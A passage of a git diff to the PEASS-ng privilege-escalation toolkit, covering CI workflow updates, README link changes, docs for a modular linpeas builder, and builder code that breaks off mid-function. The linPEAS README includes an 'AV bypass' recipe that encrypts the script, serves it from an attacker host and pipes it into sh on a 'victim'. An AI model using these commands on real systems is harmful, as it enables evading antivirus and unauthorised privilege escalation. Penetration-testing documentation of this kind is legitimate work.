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149
.github/workflows/CI-master_tests.yml vendored
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@ -4,11 +4,12 @@ on:
push:
branches:
- master
- main
paths-ignore:
- '.github/**'
schedule:
- cron: "5 4 * * SUN"
- cron: "5 4 1 * *"
workflow_dispatch:
@ -50,8 +51,8 @@ jobs:
run: msbuild $env:Solution_Path
# Execute all unit tests in the solution
- name: Execute unit tests
run: dotnet test $env:Solution_Path
#- name: Execute unit tests
# run: dotnet test $env:Solution_Path
# Build & update all versions
- name: Build all versions
@ -65,6 +66,39 @@ jobs:
echo "build Any CPU"
msbuild -m $env:Solution_Path /t:Rebuild /p:Configuration=$env:Configuration /p:Platform="Any CPU"
- name: Execute winPEAS -h
shell: pwsh
run: |
$Configuration = "Release"
$exePath = "winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe"
if (Test-Path $exePath) {
& $exePath -h
} else {
Write-Error "winPEAS.exe not found at $exePath"
}
- name: Execute winPEAS cloudinfo
shell: pwsh
run: |
$Configuration = "Release"
$exePath = "winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe"
if (Test-Path $exePath) {
& $exePath cloudinfo
} else {
Write-Error "winPEAS.exe not found at $exePath"
}
- name: Execute winPEAS systeminfo
shell: pwsh
run: |
$Configuration = "Release"
$exePath = "winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe"
if (Test-Path $exePath) {
& $exePath systeminfo
} else {
Write-Error "winPEAS.exe not found at $exePath"
}
# Copy the built versions
- name: Copy all versions
run: |
@ -99,52 +133,46 @@ jobs:
# Upload all the versions for the release
- name: Upload winpeasx64
uses: actions/upload-artifact@v2
uses: actions/upload-artifact@v4
with:
name: winPEASx64.exe
path: winPEAS\winPEASexe\binaries\x64\Release\winPEASx64.exe
- name: Upload winpeasx86
uses: actions/upload-artifact@v2
uses: actions/upload-artifact@v4
with:
name: winPEASx86.exe
path: winPEAS\winPEASexe\binaries\x86\Release\winPEASx86.exe
- name: Upload winpeasany
uses: actions/upload-artifact@v2
uses: actions/upload-artifact@v4
with:
name: winPEASany.exe
path: winPEAS\winPEASexe\binaries\Release\winPEASany.exe
- name: Upload winpeasx64ofs
uses: actions/upload-artifact@v2
uses: actions/upload-artifact@v4
with:
name: winPEASx64_ofs.exe
path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx64_ofs.exe
- name: Upload winpeasx86ofs
uses: actions/upload-artifact@v2
uses: actions/upload-artifact@v4
with:
name: winPEASx86_ofs.exe
path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx86_ofs.exe
- name: Upload winpeasanyofs
uses: actions/upload-artifact@v2
uses: actions/upload-artifact@v4
with:
name: winPEASany_ofs.exe
path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASany_ofs.exe
- name: Upload winpeas.bat
uses: actions/upload-artifact@v2
uses: actions/upload-artifact@v4
with:
name: winPEAS.bat
path: winPEAS\winPEASbat\winPEAS.bat
- name: Upload winpeas.ps1
uses: actions/upload-artifact@v2
with:
name: winPEAS.ps1
path: winPEAS\winPEASps1\winPEAS.ps1
# Git add
#- name: Create local changes
@ -189,7 +217,9 @@ jobs:
run: |
python3 -m pip install PyYAML
cd linPEAS
python3 -m builder.linpeas_builder
python3 -m builder.linpeas_builder --all --output linpeas_fat.sh
python3 -m builder.linpeas_builder --all-no-fat --output linpeas.sh
python3 -m builder.linpeas_builder --small --output linpeas_small.sh
# Build linpeas binaries
- name: Build linpeas binaries
@ -207,35 +237,35 @@ jobs:
# Run linpeas help as quick test
- name: Run linpeas help
run: linPEAS/linpeas.sh -h
run: linPEAS/linpeas_fat.sh -h && linPEAS/linpeas.sh -h && linPEAS/linpeas_small.sh -h
# Run linpeas as a test
- name: Run linpeas system_information
run: linPEAS/linpeas.sh -o system_information -a
run: linPEAS/linpeas_fat.sh -o system_information -a
- name: Run linpeas container
run: linPEAS/linpeas.sh -o container -a
run: linPEAS/linpeas_fat.sh -o container -a
- name: Run linpeas cloud
run: linPEAS/linpeas.sh -o cloud -a
run: linPEAS/linpeas_fat.sh -o cloud -a
- name: Run linpeas procs_crons_timers_srvcs_sockets
run: linPEAS/linpeas.sh -o procs_crons_timers_srvcs_sockets -a
run: linPEAS/linpeas_fat.sh -o procs_crons_timers_srvcs_sockets -a
- name: Run linpeas network_information
run: linPEAS/linpeas.sh -o network_information -t -a
run: linPEAS/linpeas_fat.sh -o network_information -t -a
- name: Run linpeas users_information
run: linPEAS/linpeas.sh -o users_information -a
run: linPEAS/linpeas_fat.sh -o users_information -a
- name: Run linpeas software_information
run: linPEAS/linpeas.sh -o software_information -a
run: linPEAS/linpeas_fat.sh -o software_information -a
- name: Run linpeas interesting_perms_files
run: linPEAS/linpeas.sh -o interesting_perms_files -a
run: linPEAS/linpeas_fat.sh -o interesting_perms_files -a
- name: Run linpeas interesting_files
run: linPEAS/linpeas.sh -o interesting_files -a
run: linPEAS/linpeas_fat.sh -o interesting_files -a
# Too much time
#- name: Run linpeas api_keys_regex
@ -243,51 +273,57 @@ jobs:
# Upload files for release
- name: Upload linpeas.sh
uses: actions/upload-artifact@v2
uses: actions/upload-artifact@v4
with:
name: linpeas.sh
path: linPEAS/linpeas.sh
- name: Upload linpeas_fat.sh
uses: actions/upload-artifact@v2
uses: actions/upload-artifact@v4
with:
name: linpeas_fat.sh
path: linPEAS/linpeas_fat.sh
- name: Upload linpeas_small.sh
uses: actions/upload-artifact@v4
with:
name: linpeas_small.sh
path: linPEAS/linpeas_small.sh
## Linux bins
- name: Upload linpeas_linux_386
uses: actions/upload-artifact@v2
uses: actions/upload-artifact@v4
with:
name: linpeas_linux_386
path: sh2bin/builds/linpeas_linux_386
- name: Upload linpeas_linux_amd64
uses: actions/upload-artifact@v2
uses: actions/upload-artifact@v4
with:
name: linpeas_linux_amd64
path: sh2bin/builds/linpeas_linux_amd64
- name: Upload linpeas_linux_arm
uses: actions/upload-artifact@v2
uses: actions/upload-artifact@v4
with:
name: linpeas_linux_arm
path: sh2bin/builds/linpeas_linux_arm
- name: Upload linpeas_linux_arm64
uses: actions/upload-artifact@v2
uses: actions/upload-artifact@v4
with:
name: linpeas_linux_arm64
path: sh2bin/builds/linpeas_linux_arm64
## Darwin bins
- name: Upload linpeas_darwin_amd64
uses: actions/upload-artifact@v2
uses: actions/upload-artifact@v4
with:
name: linpeas_darwin_amd64
path: sh2bin/builds/linpeas_darwin_amd64
- name: Upload linpeas_darwin_arm64
uses: actions/upload-artifact@v2
uses: actions/upload-artifact@v4
with:
name: linpeas_darwin_arm64
path: sh2bin/builds/linpeas_darwin_arm64
@ -321,14 +357,14 @@ jobs:
# Build linpeas
- name: Build macpeas
run: |
python3 -m pip install PyYAML
python3 -m pip install requests
python3 -m pip install PyYAML --break-system-packages
python3 -m pip install requests --break-system-packages
cd linPEAS
python3 -m builder.linpeas_builder
python3 -m builder.linpeas_builder --all --output linpeas_fat.sh
# Run linpeas help as quick test
- name: Run macpeas help
run: linPEAS/linpeas.sh -h
run: linPEAS/linpeas_fat.sh -h
# Run macpeas parts to test it
#- name: Run macpeas
@ -342,77 +378,82 @@ jobs:
steps:
# Download files to release
- name: Download winpeasx64ofs
uses: actions/download-artifact@v2
uses: actions/download-artifact@v4.1.7
with:
name: winPEASx64_ofs.exe
- name: Download winpeasx86ofs
uses: actions/download-artifact@v2
uses: actions/download-artifact@v4.1.7
with:
name: winPEASx86_ofs.exe
- name: Download winpeasanyofs
uses: actions/download-artifact@v2
uses: actions/download-artifact@v4.1.7
with:
name: winPEASany_ofs.exe
- name: Download winpeasx64
uses: actions/download-artifact@v2
uses: actions/download-artifact@v4.1.7
with:
name: winPEASx64.exe
- name: Download winpeasx86
uses: actions/download-artifact@v2
uses: actions/download-artifact@v4.1.7
with:
name: winPEASx86.exe
- name: Download winpeasany
uses: actions/download-artifact@v2
uses: actions/download-artifact@v4.1.7
with:
name: winPEASany.exe
- name: Download winpeas.bat
uses: actions/download-artifact@v2
uses: actions/download-artifact@v4.1.7
with:
name: winPEAS.bat
- name: Download linpeas.sh
uses: actions/download-artifact@v2
uses: actions/download-artifact@v4.1.7
with:
name: linpeas.sh
- name: Download linpeas_fat.sh
uses: actions/download-artifact@v2
uses: actions/download-artifact@v4.1.7
with:
name: linpeas_fat.sh
- name: Download linpeas_small.sh
uses: actions/download-artifact@v4.1.7
with:
name: linpeas_small.sh
- name: Download linpeas_linux_386
uses: actions/download-artifact@v2
uses: actions/download-artifact@v4.1.7
with:
name: linpeas_linux_386
- name: Download linpeas_linux_amd64
uses: actions/download-artifact@v2
uses: actions/download-artifact@v4.1.7
with:
name: linpeas_linux_amd64
- name: Download linpeas_linux_arm
uses: actions/download-artifact@v2
uses: actions/download-artifact@v4.1.7
with:
name: linpeas_linux_arm
- name: Download linpeas_linux_arm64
uses: actions/download-artifact@v2
uses: actions/download-artifact@v4.1.7
with:
name: linpeas_linux_arm64
- name: Download linpeas_darwin_amd64
uses: actions/download-artifact@v2
uses: actions/download-artifact@v4.1.7
with:
name: linpeas_darwin_amd64
- name: Download linpeas_darwin_arm64
uses: actions/download-artifact@v2
uses: actions/download-artifact@v4.1.7
with:
name: linpeas_darwin_arm64

14
.github/workflows/artifacts_cleanup.yml vendored Normal file
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@ -0,0 +1,14 @@
name: 'nightly artifacts cleanup'
on:
schedule:
- cron: '0 6 * * 2' # At 6am on Tuesdays
workflow_dispatch:
jobs:
delete-artifacts:
runs-on: ubuntu-latest
steps:
- uses: kolpav/purge-artifacts-action@v1
with:
token: ${{ secrets.GITHUB_TOKEN }}
expire-in: 1days # Set this to 0 to delete all artifacts

10
CONTRIBUTING.md
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@ -1,19 +1,19 @@
# Contributing to this repository
## Making Suggestions
If you want to make a suggestion for linpeas or winpeas please use **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues)**
If you want to make a suggestion for linpeas or winpeas please use **[github issues](https://github.com/peass-ng/PEASS-ng/issues)**
## Do don't know how to help?
Check out the **[TODO](https://github.com/carlospolop/PEASS-ng/blob/master/TODO.md) page**
Check out the **[TODO](https://github.com/peass-ng/PEASS-ng/blob/master/TODO.md) page**
## Searching for files with sensitive information
From the PEASS-ng release **winpeas and linpeas are auto-built** and will search for files containing sensitive information specified in the **[sesitive_files.yaml](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/build_lists/sensitive_files.yaml)** file.
From the PEASS-ng release **winpeas and linpeas are auto-built** and will search for files containing sensitive information specified in the **[sesitive_files.yaml](https://github.com/peass-ng/PEASS-ng/blob/master/build_lists/sensitive_files.yaml)** file.
If you want to **contribute adding the search of new files that can contain sensitive information**, please, just update **[sesitive_files.yaml](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/build_lists/sensitive_files.yaml)** and create a **PR to master** (*linpeas and winpeas will be auto-built in this PR*). You can find examples of how to contribute to this file inside the file.
If you want to **contribute adding the search of new files that can contain sensitive information**, please, just update **[sesitive_files.yaml](https://github.com/peass-ng/PEASS-ng/blob/master/build_lists/sensitive_files.yaml)** and create a **PR to master** (*linpeas and winpeas will be auto-built in this PR*). You can find examples of how to contribute to this file inside the file.
Also, in the comments of this PR, put links to pages where and example of the file containing sensitive information can be foud.
## Specific LinPEAS additions
From the PEASS-ng release **linpeas is auto-build from [linpeas/builder](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/builder/)**. Therefore, if you want to contribute adding any new check for linpeas/macpeas, please **add it in this directory and create a PR to master**. *Note that some code is auto-generated in the python but most of it it's just written in different files that willbe merged into linpeas.sh*.
From the PEASS-ng release **linpeas is auto-build from [linpeas/builder](https://github.com/peass-ng/PEASS-ng/blob/master/linPEAS/builder/)**. Therefore, if you want to contribute adding any new check for linpeas/macpeas, please **add it in this directory and create a PR to master**. *Note that some code is auto-generated in the python but most of it it's just written in different files that will be merged into linpeas.sh*.
The new linpeas.sh script will be auto-generated in the PR.
## Specific WinPEAS additions

2
LICENSE
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@ -1,7 +1,7 @@
COPYING -- Describes the terms under which peass-ng is distributed. A copy
of the GNU General Public License (GPL) is appended to this file.
peass-ng is (C) 2006-2022 Carlos Polop Martin.
peass-ng is (C) 2019-2024 Carlos Polop Martin.
This program is free software; you may redistribute and/or modify it under
the terms of the GNU General Public License as published by the Free

19
README.md
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@ -1,6 +1,6 @@
# PEASS-ng - Privilege Escalation Awesome Scripts SUITE new generation
![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/peass.png)
![](https://github.com/peass-ng/PEASS-ng/raw/master/linPEAS/images/peass.png)
![](https://img.shields.io/badge/Black-Arch-black) ![](https://img.shields.io/badge/Arch-AUR-brightgreen) ![](https://img.shields.io/badge/Black%20Hat%20Arsenal-Asia%202020-red)
@ -13,33 +13,28 @@ Here you will find **privilege escalation tools for Windows and Linux/Unix\* and
These tools search for possible **local privilege escalation paths** that you could exploit and print them to you **with nice colors** so you can recognize the misconfigurations easily.
- Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)**
- **[WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) - Windows local Privilege Escalation Awesome Script (C#.exe and .bat)**
- **[WinPEAS](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS) - Windows local Privilege Escalation Awesome Script (C#.exe and .bat)**
- Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist)**
- **[LinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) - Linux local Privilege Escalation Awesome Script (.sh)**
- **[LinPEAS](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS) - Linux local Privilege Escalation Awesome Script (.sh)**
## Quick Start
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**.
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/peass-ng/PEASS-ng/releases/latest)**.
## JSON, HTML & PDF output
Check the **[parsers](./parsers/)** directory to **transform PEASS outputs to JSON, HTML and PDF**
## Support PEASS-ng and HackTricks and get benefits
## Join us!
Do you want to have **access the latest version of Hacktricks and PEASS**, obtain a **PDF copy of Hacktricks**, and more? Discover the **brand new [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop?frequency=one-time) for individuals and companies**.
**LinPEAS, WinPEAS and MacPEAS** aren’t enough for you? Welcome [**The PEASS Family**](https://opensea.io/collection/the-peass-family/), a limited collection of [**exclusive NFTs**](https://opensea.io/collection/the-peass-family/) of our favourite PEASS in disguise, designed by my team. Go **get your favourite and make it yours!** And if you are a **PEASS & Hacktricks enthusiast**, you can get your hands now on **our [custom swag](https://peass.creator-spring.com/) and show how much you like our projects!**
If you are a **PEASS & Hacktricks enthusiast**, you can get your hands now on **our [custom swag](https://peass.creator-spring.com/) and show how much you like our projects!**
You can also, join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) to learn about latest news in cybersecurity and meet other cybersecurity enthusiasts, or follow me on Twitter 🐦 [@hacktricks_live](https://twitter.com/hacktricks_live).
## Let's improve PEASS together
If you want to **add something** and have **any cool idea** related to this project, please let me know it in the **telegram group https://t.me/peass** or contribute reading the **[CONTRIBUTING.md](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/CONTRIBUTING.md)** file.
If you want to **add something** and have **any cool idea** related to this project, please let me know it in the **telegram group https://t.me/peass** or contribute reading the **[CONTRIBUTING.md](https://github.com/peass-ng/PEASS-ng/blob/master/CONTRIBUTING.md)** file.
## Advisory
All the scripts/binaries of the PEAS suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own machines and/or with the owner's permission.
By Polop<sup>(TM)</sup>

2
TODO.md
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@ -1,7 +1,7 @@
# TODO
### Generate Nice Reports
- [x] Create a parser from linpeas and winpeas.exe output to JSON. You can fin it [here](https://github.com/carlospolop/PEASS-ng/tree/master/parser).
- [x] Create a parser from linpeas and winpeas.exe output to JSON. You can fin it [here](https://github.com/peass-ng/PEASS-ng/tree/master/parser).
- [ ] Create a python script that generates a nice HTML/PDF from the JSON output
### Generate a DB of Known Vulnerable Binaries

5
build_lists/regexes.yaml
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@ -1,2 +1,3 @@
# This is a placeholder.
# To fill this yaml execute one of the scripts download_regexes.py or download_regexes.ps1
# This is a placeholder
# It will be replaced by the actual regexes.yaml file
# generated by download-regexes.py or download-regexes.ps1 (execute it before building the tools)

106
linPEAS/README.md
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@ -1,6 +1,6 @@
# LinPEAS - Linux Privilege Escalation Awesome Script
![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/linpeas.png)
![](https://github.com/peass-ng/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/linpeas.png)
**LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix\*/MacOS hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-hardening/privilege-escalation)**
@ -12,12 +12,28 @@ Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks
Just execute `linpeas.sh` in a MacOS system and the **MacPEAS version will be automatically executed**
## Build your own linpeas!
The latest version of linpeas allows you to **select the checks you would like your linpeas to have** and built it only with those checks!
This allows to create **smaller and faster linpeas scripts** for stealth and speed purposes.
Check how to **select the checks you want to build [in your own linpeas following this link.](builder)**
Note that by default, in the releases pages of this repository, you will find a **linpeas with all the checks**.
## Differences between `linpeas_fat.sh`, `linpeas.sh` and `linpeas_small.sh`:
- **linpeas_fat.sh**: Contains all checks, even third party applications in base64 embedded.
- **linpeas.sh**: Contains all checks, but only the third party application `linux exploit suggester` is embedded. This is the default `linpeas.sh`.
- **linpeas_small.sh**: Contains only the most *important* checks making its size smaller.
## Quick Start
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**.
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/peass-ng/PEASS-ng/releases/latest)**.
```bash
# From github
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# From public github
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
```
```bash
@ -42,11 +58,24 @@ less -r /dev/shm/linpeas.txt #Read with colors
```bash
# Use a linpeas binary
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64
```
## AV bypass
```bash
#open-ssl encryption
openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.enc
sudo python -m SimpleHTTPServer 80 #Start HTTP server
curl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | sh #Download from the victim
#Base64 encoded
base64 -w0 linpeas.sh > lp.enc
sudo python -m SimpleHTTPServer 80 #Start HTTP server
curl 10.10.10.10/lp.enc | base64 -d | sh #Download from the victim
```
## Firmware Analysis
If you have a **firmware** and you want to **analyze it with linpeas** to **search for passwords or bad configured permissions** you have 2 main options.
@ -63,19 +92,6 @@ bash /linpeas.sh -o software_information,interesting_files,api_keys_regex
bash /path/to/linpeas.sh -f /path/to/folder
```
## AV bypass
```bash
#open-ssl encryption
openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.enc
sudo python -m SimpleHTTPServer 80 #Start HTTP server
curl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | sh #Download from the victim
#Base64 encoded
base64 -w0 linpeas.sh > lp.enc
sudo python -m SimpleHTTPServer 80 #Start HTTP server
curl 10.10.10.10/lp.enc | base64 -d | sh #Download from the victim
```
## Basic Information
The goal of this script is to search for possible **Privilege Escalation Paths** (tested in Debian, CentOS, FreeBSD, OpenBSD and MacOS).
@ -144,56 +160,23 @@ With LinPEAS you can also **discover hosts automatically** using `fping`, `ping`
LinPEAS will **automatically search for this binaries** in `$PATH` and let you know if any of them is available. In that case you can use LinPEAS to hosts dicovery and/or port scanning.
![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/network.png)
![](https://github.com/peass-ng/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/network.png)
## Colors
<details>
<summary>Details</summary>
LinPEAS uses colors to indicate where does each section begin. But **it also uses them the identify potencial misconfigurations**.
The ![](https://placehold.it/15/b32400/000000?text=+) **Red/Yellow** ![](https://placehold.it/15/fff500/000000?text=+) color is used for identifing configurations that lead to PE (99% sure).
- The ![](https://placehold.it/15/b32400/000000?text=+) **Red/Yellow** ![](https://placehold.it/15/fff500/000000?text=+) color is used for identifing configurations that lead to PE (99% sure).
The ![](https://placehold.it/15/b32400/000000?text=+) **Red** color is used for identifing suspicious configurations that could lead to PE:
- Possible exploitable kernel versions
- Vulnerable sudo versions
- Identify processes running as root
- Not mounted devices
- Dangerous fstab permissions
- Writable files in interesting directories
- SUID/SGID binaries that have some vulnerable version (it also specifies the vulnerable version)
- SUDO binaries that can be used to escalate privileges in sudo -l (without passwd) (https://gtfobins.github.io/)
- Check /etc/doas.conf
- 127.0.0.1 in netstat
- Known files that could contain passwords
- Capabilities in interesting binaries
- Interesting capabilities of a binary
- Writable folders and wilcards inside info about cron jobs
- Writables folders in PATH
- Groups that could lead to root
- Files that could contains passwords
- Suspicious cronjobs
- The ![](https://placehold.it/15/b32400/000000?text=+) **Red** color is used for identifing suspicious configurations that could lead to privilege escalation.
The ![](https://placehold.it/15/66ff33/000000?text=+) **Green** color is used for:
- Common processes run by root
- Common not interesting devices to mount
- Not dangerous fstab permissions
- SUID/SGID common binaries (the bin was already found in other machines and searchsploit doesn't identify any vulnerable version)
- Common .sh files in path
- Common names of users executing processes
- Common cronjobs
- The ![](https://placehold.it/15/66ff33/000000?text=+) **Green** color is used for known good configurations (based on the name not on the conten!)
The ![](https://placehold.it/15/0066ff/000000?text=+) **Blue** color is used for:
- Users without shell
- Mounted devices
- The ![](https://placehold.it/15/0066ff/000000?text=+) **Blue** color is used for: Users without shell & Mounted devices
The ![](https://placehold.it/15/33ccff/000000?text=+) **Light Cyan** color is used for:
- Users with shell
- The ![](https://placehold.it/15/33ccff/000000?text=+) **Light Cyan** color is used for: Users with shell
The ![](https://placehold.it/15/bf80ff/000000?text=+) **Light Magenta** color is used for:
- Current username
- The ![](https://placehold.it/15/bf80ff/000000?text=+) **Light Magenta** color is used for: Current username
</details>
@ -218,15 +201,12 @@ Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/s
## Collaborate
If you want to help with the TODO tasks or with anything, you can do it using **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues) or you can submit a pull request**.
If you want to help with the TODO tasks or with anything, you can do it using **[github issues](https://github.com/peass-ng/privilege-escalation-awesome-scripts-suite/issues) or you can submit a pull request**.
If you find any issue, please report it using **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues)**.
If you find any issue, please report it using **[github issues](https://github.com/peass-ng/privilege-escalation-awesome-scripts-suite/issues)**.
**Linpeas** is being **updated** every time I find something that could be useful to escalate privileges.
## Advisory
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
By Polop<sup>(TM)</sup>

78
linPEAS/builder/README.md Normal file
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@ -0,0 +1,78 @@
# Build you own linpeas!
You can **build you own linpeas which will contain only the checks you want**. This is useful to reduce the time it takes to run linpeas and to make linpeas more stealth and modular.
## Quick start building linpeas.sh
It's possible to indicate the params `--all`, `--all-no-fat` and `--small` to build the classic `linpeas_fat.sh`, `linpeas.sh` and `linpeas_small.sh`:
- **linpeas_fat.sh**: Contains all checks, even third party applications in base64 embedded.
- **linpeas.sh**: Contains all checks, but only the third party application `linux exploit suggester` is embedded. This is the default `linpeas.sh`.
- **linpeas_small.sh**: Contains only the most *important* checks making its size smaller.
However, in order to indicate only some specific checks, you can use the `--include` and `--exclude` params. These arguments supports a comma separated list of modules to add or remove from the final linpeas. Note that the matchs are done by checking **if the module path string contains any of the words** indicated in those params. Therefore, if you want to inde all the tests from the `linpeas_parts/3_cloud` it's enough to indicate `--include "cloud"`. Or if you want to include only the check `linpeas_parts/3_cloud/1_Check_if_in_Cloud` you can indicate `--include "Check_if_in_Cloud"`.
```bash
# Run this commands from 1 level above the builder folder. From here: cd ..
# Build linpeas_fat (linpeas with all checks, even third party applications in base64 embedded)
python3 -m builder.linpeas_builder --all --output /tmp/linpeas_fat.sh
# Build regular linpeas
python3 -m builder.linpeas_builder --all-no-fat --output /tmp/linpeas.sh
# Build small linpeas
python3 -m builder.linpeas_builder --small --output /tmp/linpeas_small.sh
# Build linpeas only with container and cloud checks
python3 -m builder.linpeas_builder --include "container,cloud" --output /tmp/linpeas_custom.sh
# Build linpeas only with regexes
python3 -m builder.linpeas_builder --include "api_keys_regex" --output /tmp/linpeas_custom.sh
# Build linpeas only with some specific modules
## You can customize it as much as you want
python3 -m builder.linpeas_builder --include "CPU_info,Sudo_version,Clipboard_highlighted_text" --output /tmp/linpeas_custom.sh
# Build linpeas excluding some specific modules
python3 -m builder.linpeas_builder --exclude "CPU_info,Sudo_version,Clipboard_highlighted_text" --output /tmp/linpeas_custom.sh
```
## How to add new modules
Adding new modules is very easy. You just need to create a new file in the `linpeas_parts/<corresponding section>` folder with the following structure with the bash code to run. Note that every new module should have some specific metadata at the beggining of the file. This metadata is used by the builder to generate the final linpeas.
Metadata example:
```bash
# Title: Cloud - Check if in cloud
# ID: CL_Check_if_in_cloud
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Check if the current system is inside a cloud environment
# License: GNU GPL
# Version: 1.0
# Functions Used: check_aws_codebuild, check_aws_ec2, check_aws_ecs, check_aws_lambda, check_az_app, check_az_vm, check_do, check_gcp, check_ibm_vm, check_tencent_cvm, print_list
# Global Variables: $is_aws_codebuild, $is_aws_ecs, $is_aws_ec2, , $is_aws_lambda, $is_az_app, $is_az_vm, $is_do, $is_gcp_vm, $is_gcp_function, $is_ibm_vm, $is_aws_ec2_beanstalk, $is_aliyun_ecs, $is_tencent_cvm
# Initial Functions: check_gcp, check_aws_ecs, check_aws_ec2, check_aws_lambda, check_aws_codebuild, check_do, check_ibm_vm, check_az_vm, check_az_app, check_aliyun_ecs, check_tencent_cvm
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
<code>
```
### Metadata parts explained
- **Title**: Title of the module
- **ID**: Unique identifier of the module. It has to be the same as the filename without the extension and with the section identifier as prefix (in this case `CL`)
- **Author**: Author of the module
- **Last Update**: Last update of the module
- **Description**: Description of the module
- **License**: License of the module
- **Version**: Version of the module
- **Functions Used**: Functions used by the module inside the bash code. If your module is using a function not defined here, linpeas won't be built.
- **Global Variables**: Global variables used by the module inside the bash code. If your module is using a global variable not defined here, linpeas won't be built.
- **Initial Functions**: Functions that are called at the beggining of the module. If your module is using a function not defined here, linpeas won't be built.
- **Generated Global Variables**: Global variables generated (given a relevant value) by the module. If your module is generating a global variable not defined here, linpeas won't be built.
- **Fat linpeas**: Set only as 1 if the module is loading a third party app, if not 0.
- **Small linpeas**: Set as 1 if it's a quick check, if not 0.

46
linPEAS/builder/linpeas_builder.py
View File

@ -5,29 +5,51 @@ from .src.yamlGlobals import FINAL_FAT_LINPEAS_PATH, FINAL_LINPEAS_PATH, TEMPORA
import os
import stat
import argparse
# python3 -m builder.linpeas_builder
def main():
def main(all_modules, all_no_fat_modules, no_network_scanning, small, include_modules, exclude_modules, output):
# Load configuration
ploaded = PEASLoaded()
# Build temporary linpeas_base.sh file
lbasebuilder = LinpeasBaseBuilder()
lbasebuilder = LinpeasBaseBuilder(all_modules, all_no_fat_modules, no_network_scanning, small, include_modules, exclude_modules)
lbasebuilder.build()
# Build final linpeas.sh
lbuilder = LinpeasBuilder(ploaded)
lbuilder.build()
lbuilder.write_linpeas(FINAL_FAT_LINPEAS_PATH)
lbuilder.write_linpeas(FINAL_LINPEAS_PATH, rm_startswith="FAT_LINPEAS")
os.remove(TEMPORARY_LINPEAS_BASE_PATH) # Remove the built linpeas_base.sh file
lbuilder.write_linpeas(output)
os.remove(TEMPORARY_LINPEAS_BASE_PATH) # Remove the built linpeas_base_temp.sh file
st = os.stat(FINAL_FAT_LINPEAS_PATH)
os.chmod(FINAL_FAT_LINPEAS_PATH, st.st_mode | stat.S_IEXEC)
st = os.stat(FINAL_LINPEAS_PATH)
os.chmod(FINAL_LINPEAS_PATH, st.st_mode | stat.S_IEXEC)
st = os.stat(output)
os.chmod(output, st.st_mode | stat.S_IEXEC)
if __name__ == "__main__":
main()
parser = argparse.ArgumentParser(description='Build you own linpeas.sh')
parser.add_argument('--all', action='store_true', help='Build linpeas with all modules (linpeas_fat).')
parser.add_argument('--all-no-fat', action='store_true', help='Build linpeas with all modules except fat ones.')
parser.add_argument('--no-network-scanning', action='store_true', help='Build linpeas without network scanning.')
parser.add_argument('--small', action='store_true', help='Build small version of linpeas.')
parser.add_argument('--include', type=str, help='Build linpeas only with the modules indicated you can indicate section names or module IDs).')
parser.add_argument('--exclude', type=str, help='Exclude the given modules (you can indicate section names or module IDs).')
parser.add_argument('--output', required=True, type=str, help='Parth to write the final linpeas file to.')
args = parser.parse_args()
all_modules = args.all
all_no_fat_modules = args.all_no_fat
no_network_scanning = args.no_network_scanning
small = args.small
